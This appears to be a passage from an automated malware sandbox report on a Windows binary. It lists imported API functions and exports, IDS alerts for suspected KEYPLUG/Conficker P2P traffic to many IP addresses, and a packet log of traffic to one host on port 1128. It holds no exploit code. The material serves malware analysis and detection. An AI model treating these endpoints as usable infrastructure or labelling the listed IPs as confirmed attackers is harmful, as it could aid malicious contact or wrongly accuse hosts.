advapi32.dll	RegQueryValueExW, RegOpenKeyExW, RegCloseKey
user32.dll	CharNextW, LoadStringW
kernel32.dll	Sleep, VirtualFree, VirtualAlloc, lstrlenW, VirtualQuery, QueryPerformanceCounter, GetTickCount, GetSystemInfo, GetVersion, CompareStringW, IsValidLocale, SetThreadLocale, GetSystemDefaultUILanguage, GetUserDefaultUILanguage, GetLocaleInfoW, WideCharToMultiByte, MultiByteToWideChar, GetACP, LoadLibraryExW, GetStartupInfoW, GetProcAddress, GetModuleHandleW, GetModuleFileNameW, GetCommandLineW, FindResourceW, FreeLibrary, GetLastError, UnhandledExceptionFilter, RtlUnwindEx, RtlUnwind, RaiseException, ExitProcess, ExitThread, SwitchToThread, GetCurrentThreadId, CreateThread, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, FindFirstFileW, FindClose, WriteFile, GetStdHandle, CloseHandle
kernel32.dll	GetProcAddress, RaiseException, LoadLibraryA, GetLastError, TlsSetValue, TlsGetValue, LocalFree, LocalAlloc, GetModuleHandleW, FreeLibrary
user32.dll	WINNLSEnableIME, SetClassLongPtrW, GetClassLongPtrW, SetWindowLongPtrW, GetWindowLongPtrW, CreateWindowExW, WindowFromPoint, WaitMessage, ValidateRect, UpdateLayeredWindow, UpdateWindow, UnregisterClassW, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, TrackMouseEvent, SystemParametersInfoW, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCaret, SetWindowRgn, SetWindowsHookExW, SetWindowTextW, SetWindowPos, SetWindowPlacement, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropW, SetParent, SetMenuItemInfoW, SetMenu, SetKeyboardState, SetForegroundWindow, SetFocus, SetCursorPos, SetCursor, SetClipboardData, SetCaretPos, SetCapture, SetActiveWindow, SendMessageTimeoutW, SendMessageA, SendMessageW, SendDlgItemMessageW, ScrollWindowEx, ScrollWindow, ScreenToClient, RemovePropW, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageW, RegisterClipboardFormatW, RegisterClassW, RedrawWindow, PostQuitMessage, PostMessageW, PeekMessageA, PeekMessageW, OpenClipboard, MsgWaitForMultipleObjectsEx, MsgWaitForMultipleObjects, MessageBoxIndirectW, MessageBoxW, MessageBeep, MapWindowPoints, MapVirtualKeyW, LoadStringW, LoadKeyboardLayoutW, LoadIconW, LoadCursorFromFileW, LoadCursorW, LoadBitmapW, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsIconic, IsDialogMessageA, IsDialogMessageW, IsClipboardFormatAvailable, IsChild, IsCharAlphaNumericW, IsCharAlphaW, InvalidateRect, IntersectRect, InsertMenuItemW, InsertMenuW, InflateRect, HideCaret, GetWindowThreadProcessId, GetWindowTextLengthW, GetWindowTextW, GetWindowRect, GetWindowPlacement, GetWindowDC, GetUpdateRgn, GetUpdateRect, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetScrollBarInfo, GetPropW, GetParent, GetWindow, GetMessageTime, GetMessagePos, GetMessageExtraInfo, GetMenuStringW, GetMenuState, GetMenuItemInfoW, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameW, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextW, GetIconInfo, GetForegroundWindow, GetFocus, GetDoubleClickTime, GetDlgItem, GetDlgCtrlID, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameW, GetClassInfoExW, GetClassInfoW, GetCaretPos, GetCapture, GetActiveWindow, FrameRect, FindWindowExW, FindWindowW, FillRect, EnumWindows, EnumThreadWindows, EnumClipboardFormats, EnumChildWindows, EndPaint, EndMenu, EndDeferWindowPos, EnableWindow, EnableScrollBar, EnableMenuItem, EmptyClipboard, DrawTextExW, DrawTextW, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DispatchMessageA, DispatchMessageW, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DestroyCaret, DeleteMenu, DeferWindowPos, DefWindowProcW, DefMDIChildProcW, DefFrameProcW, CreatePopupMenu, CreateMenu, CreateIcon, CreateCaret, CreateAcceleratorTableW, CountClipboardFormats, CopyImage, CopyIcon, CloseClipboard, ClientToScreen, ChildWindowFromPoint, CheckMenuItem, CharUpperBuffW, CharUpperW, CharNextW, CharLowerBuffW, CharLowerW, CallWindowProcW, CallNextHookEx, BeginPaint, BeginDeferWindowPos, AppendMenuW, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	WidenPath, UnrealizeObject, TextOutW, StrokePath, StrokeAndFillPath, StretchDIBits, StretchBlt, StartPage, StartDocW, SetWindowOrgEx, SetWindowExtEx, SetWinMetaFileBits, SetViewportOrgEx, SetViewportExtEx, SetTextCharacterExtra, SetTextColor, SetTextAlign, SetStretchBltMode, SetRectRgn, SetROP2, SetPixel, SetMetaRgn, SetMapMode, SetGraphicsMode, SetEnhMetaFileBits, SetDIBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SetArcDirection, SetAbortProc, SelectPalette, SelectObject, SelectClipRgn, SelectClipPath, SaveDC, RoundRect, RestoreDC, ResizePalette, Rectangle, RectVisible, RealizePalette, PtVisible, PolylineTo, Polyline, Polygon, PolyPolyline, PolyBezierTo, PolyBezier, PlayEnhMetaFile, Pie, PathToRegion, PatBlt, MoveToEx, MaskBlt, LineTo, LPtoDP, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsW, GetTextExtentPointW, GetTextExtentPoint32W, GetTextCharacterExtra, GetTextAlign, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetRegionData, GetPixel, GetPaletteEntries, GetObjectA, GetObjectW, GetNearestPaletteIndex, GetMapMode, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileDescriptionW, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetCurrentPositionEx, GetClipRgn, GetClipBox, GetCharABCWidthsFloatW, GetBrushOrgEx, GetBkMode, GetBkColor, GetBitmapBits, GdiFlush, FrameRgn, FillPath, ExtTextOutW, ExtSelectClipRgn, ExtFloodFill, ExtCreateRegion, ExtCreatePen, ExcludeClipRect, EnumFontsW, EnumFontFamiliesExW, EndPath, EndPage, EndDoc, Ellipse, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreateRoundRectRgn, CreateRectRgn, CreatePolygonRgn, CreatePenIndirect, CreatePalette, CreateICW, CreateHalftonePalette, CreateFontIndirectW, CreateFontW, CreateEnhMetaFileW, CreateEllipticRgnIndirect, CreateDIBitmap, CreateDIBSection, CreateDCW, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileW, CombineRgn, CloseFigure, CloseEnhMetaFile, Chord, BitBlt, BeginPath, ArcTo, Arc, AngleArc, AbortDoc
version.dll	VerQueryValueW, GetFileVersionInfoSizeW, GetFileVersionInfoW
kernel32.dll	lstrlenW, lstrcmpW, WritePrivateProfileStringW, WriteFile, WideCharToMultiByte, WaitForSingleObject, WaitForMultipleObjectsEx, VirtualQueryEx, VirtualQuery, VirtualProtect, VirtualFree, VirtualAlloc, VerSetConditionMask, VerifyVersionInfoW, UnmapViewOfFile, TryEnterCriticalSection, SwitchToThread, SuspendThread, Sleep, SizeofResource, SetThreadPriority, SetThreadLocale, SetLastError, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResumeThread, ResetEvent, RemoveDirectoryW, ReadFile, RaiseException, QueryPerformanceFrequency, QueryPerformanceCounter, QueryDosDeviceW, IsDebuggerPresent, OutputDebugStringW, MulDiv, MapViewOfFile, LockResource, LocalFree, LoadResource, LoadLibraryW, LeaveCriticalSection, LCMapStringW, IsValidLocale, InitializeCriticalSection, HeapSize, HeapFree, HeapDestroy, HeapCreate, HeapAlloc, GlobalUnlock, GlobalSize, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomW, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomW, GetVolumeInformationW, GetVersionExW, GetVersion, GetUserDefaultLCID, GetTimeZoneInformation, GetTickCount, GetThreadPriority, GetThreadLocale, GetTempPathW, GetTempFileNameW, GetSystemDirectoryW, GetStdHandle, GetLongPathNameW, GetProfileIntW, GetProcAddress, GetPrivateProfileStringW, GetModuleHandleW, GetModuleFileNameW, GetLogicalDriveStringsW, GetLocaleInfoW, GetLocalTime, GetLastError, GetFullPathNameW, GetFileSize, GetFileAttributesExW, GetFileAttributesW, GetExitCodeThread, GetDriveTypeW, GetDiskFreeSpaceW, GetDateFormatW, GetCurrentThreadId, GetCurrentThread, GetCurrentProcessId, GetCurrentProcess, GetComputerNameW, GetCPInfoExW, GetCPInfo, GetACP, FreeResource, FreeLibrary, FormatMessageW, FindResourceW, FindNextFileW, FindFirstFileW, FindClose, FileTimeToSystemTime, FileTimeToLocalFileTime, FileTimeToDosDateTime, ExpandEnvironmentStringsW, EnumSystemLocalesW, EnumResourceNamesW, EnumCalendarInfoW, EnterCriticalSection, DeleteFileW, DeleteCriticalSection, CreateThread, CreateFileMappingW, CreateFileW, CreateEventW, CreateDirectoryW, CopyFileW, CompareStringA, CompareStringW, CloseHandle
advapi32.dll	RegUnLoadKeyW, RegSetValueExW, RegSaveKeyW, RegRestoreKeyW, RegReplaceKeyW, RegQueryValueExW, RegQueryInfoKeyW, RegOpenKeyExW, RegLoadKeyW, RegFlushKey, RegEnumValueW, RegEnumKeyW, RegEnumKeyExW, RegDeleteValueW, RegDeleteKeyW, RegCreateKeyExW, RegConnectRegistryW, RegCloseKey
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayPutElement, SafeArrayGetElement, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
oleaut32.dll	GetErrorInfo, SysFreeString
ole32.dll	CreateStreamOnHGlobal, ReleaseStgMedium, OleDraw, DoDragDrop, RevokeDragDrop, RegisterDragDrop, OleUninitialize, OleInitialize, CoTaskMemFree, CoTaskMemAlloc, CoCreateInstance, CoGetClassObject, CoUninitialize, CoInitialize, IsEqualGUID
comctl32.dll	InitializeFlatSB, FlatSB_SetScrollProp, FlatSB_SetScrollPos, FlatSB_SetScrollInfo, FlatSB_GetScrollPos, FlatSB_GetScrollInfo, _TrackMouseEvent, ImageList_GetImageInfo, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Copy, ImageList_LoadImageW, ImageList_GetIcon, ImageList_Remove, ImageList_DrawEx, ImageList_Replace, ImageList_Draw, ImageList_SetOverlayImage, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_SetImageCount, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create, InitCommonControls
user32.dll	EnumDisplayMonitors, GetMonitorInfoW, MonitorFromPoint, MonitorFromRect, MonitorFromWindow
msvcrt.dll	isxdigit, isupper, isspace, ispunct, isprint, islower, isgraph, isdigit, iscntrl, isalpha, isalnum, toupper, tolower, strchr, strncmp, memset, memcpy, memcmp
shell32.dll	ShellExecuteW, Shell_NotifyIconW, DragQueryFileW
shell32.dll	SHGetSpecialFolderPathW
comdlg32.dll	PageSetupDlgW, PrintDlgW, ChooseFontW, ChooseColorW, GetSaveFileNameW, GetOpenFileNameW
winspool.drv	SetPrinterW, OpenPrinterW, GetPrinterW, GetDefaultPrinterW, EnumPrintersW, DocumentPropertiesW, DeviceCapabilitiesW, ClosePrinter
winspool.drv	GetDefaultPrinterW
winmm.dll	timeGetTime
kernel32.dll	MulDiv
d3d9.dll	Direct3DCreate9

Exports

Name	Ordinal	Address
TMethodImplementationIntercept	3	0x4a5f60
__dbk_fcall_wrapper	2	0x418520
dbkFCallWrapperAddr	1	0x112ef58

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Dutch	Belgium
Chinese	China

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-06T14:21:15.965055+0100	2009207	ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 5)	1	192.168.2.5	27080	122.18.238.134	11749	UDP
2024-12-06T14:21:20.215395+0100	2009206	ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 4)	1	192.168.2.5	27080	62.113.245.76	18771	UDP
2024-12-06T14:21:23.373929+0100	2009205	ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 1)	1	192.168.2.5	27080	72.221.27.46	19892	UDP
2024-12-06T14:21:23.373965+0100	2009208	ET MALWARE Possible Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 16)	1	192.168.2.5	27080	65.191.158.5	22146	UDP
2024-12-06T14:21:49.325449+0100	2009207	ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 5)	1	192.168.2.5	27080	89.117.55.228	16717	UDP
2024-12-06T14:21:56.324082+0100	2009208	ET MALWARE Possible Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 16)	1	192.168.2.5	27080	135.181.195.240	30302	UDP
2024-12-06T14:21:57.323517+0100	2009206	ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 4)	1	192.168.2.5	27080	118.178.193.220	11030	UDP
2024-12-06T14:22:09.417128+0100	2009205	ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 1)	1	192.168.2.5	27080	73.195.118.76	23154	UDP
2024-12-06T14:22:27.577527+0100	2009207	ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 5)	1	192.168.2.5	27080	23.137.250.43	24642	UDP
2024-12-06T14:22:35.589495+0100	2009206	ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 4)	1	192.168.2.5	27080	174.2.11.191	17369	UDP
2024-12-06T14:22:36.588670+0100	2009208	ET MALWARE Possible Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 16)	1	192.168.2.5	27080	2.178.163.167	30497	UDP
2024-12-06T14:23:02.682528+0100	2009205	ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 1)	1	192.168.2.5	27080	45.8.159.106	17893	UDP
2024-12-06T14:23:04.733458+0100	2009207	ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 5)	1	192.168.2.5	27080	101.184.38.180	14558	UDP
2024-12-06T14:23:09.715340+0100	2009205	ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 1)	1	192.168.2.5	27080	5.187.75.159	65351	UDP
2024-12-06T14:23:19.840083+0100	2009207	ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 5)	1	192.168.2.5	27080	102.130.123.16	23055	UDP
2024-12-06T14:23:21.838808+0100	2009206	ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 4)	1	192.168.2.5	27080	101.184.38.180	14558	UDP
2024-12-06T14:23:25.963992+0100	2009208	ET MALWARE Possible Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 16)	1	192.168.2.5	27080	120.155.52.253	16538	UDP
2024-12-06T14:23:37.027464+0100	2009208	ET MALWARE Possible Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 16)	1	192.168.2.5	27080	45.61.165.224	15027	UDP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 14:19:35.503362894 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:35.623933077 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:35.625680923 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:35.626436949 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:35.746376038 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:36.850102901 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:36.899728060 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:38.715867996 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:38.835753918 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:38.835829020 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:38.955718994 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:39.217427015 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:39.259104967 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:39.409241915 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:39.414963961 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:39.534780979 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:39.534887075 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:39.656946898 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:39.920885086 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:39.962261915 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:40.112039089 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:40.112226963 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:40.232065916 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:40.232177973 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:40.352030039 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:40.352097034 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:40.471910954 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:40.471973896 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:40.592355013 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:40.930980921 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:40.931190968 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:40.931205034 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:40.931221962 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:40.931251049 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:40.931298018 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:40.931349993 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:40.940031052 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:40.940125942 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:40.941407919 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:40.941422939 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:40.941468954 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:40.950151920 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:40.950169086 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:40.950247049 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:40.958421946 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:40.958970070 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:40.959047079 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.001563072 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.001593113 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.001648903 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.123166084 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.123184919 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.123256922 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.127199888 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.127350092 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.127389908 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.133968115 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.133982897 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.134038925 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.142421007 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.142523050 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.142591953 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.150953054 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.150966883 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.151019096 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.159441948 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.159455061 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.159499884 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.167915106 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.167980909 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.168026924 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.176456928 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.176709890 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.176754951 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.184904099 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.184986115 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.185034990 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.193444014 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.193613052 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.193660975 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.202277899 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.204720020 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.204734087 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.204777956 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.212925911 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.212980032 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.314927101 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.315125942 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.315191984 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.318360090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.318433046 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.318479061 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.325212002 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.325367928 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.325413942 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.331666946 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.331758022 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.331887960 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.338392019 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.338478088 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.338526011 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.344688892 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.344799995 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.344906092 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.351144075 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.351213932 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.351260900 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.357330084 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.357536077 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.357583046 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.363401890 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.363634109 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.363682032 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.369566917 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.369698048 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.369743109 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.375720978 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.375813961 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.375854969 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.381781101 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.381980896 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.382028103 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.387902021 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.388072968 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.388117075 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.394067049 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.394210100 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.394258022 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.400142908 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.400252104 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.400353909 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.406295061 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.406467915 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.406564951 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.412400961 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.412595987 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.412646055 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.418699980 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.418942928 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.418993950 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.424695015 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.425156116 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.425198078 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.430871010 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.430982113 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.431020975 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.436985970 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.437119007 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.437166929 CET	49704	1128	192.168.2.5	45.202.33.26
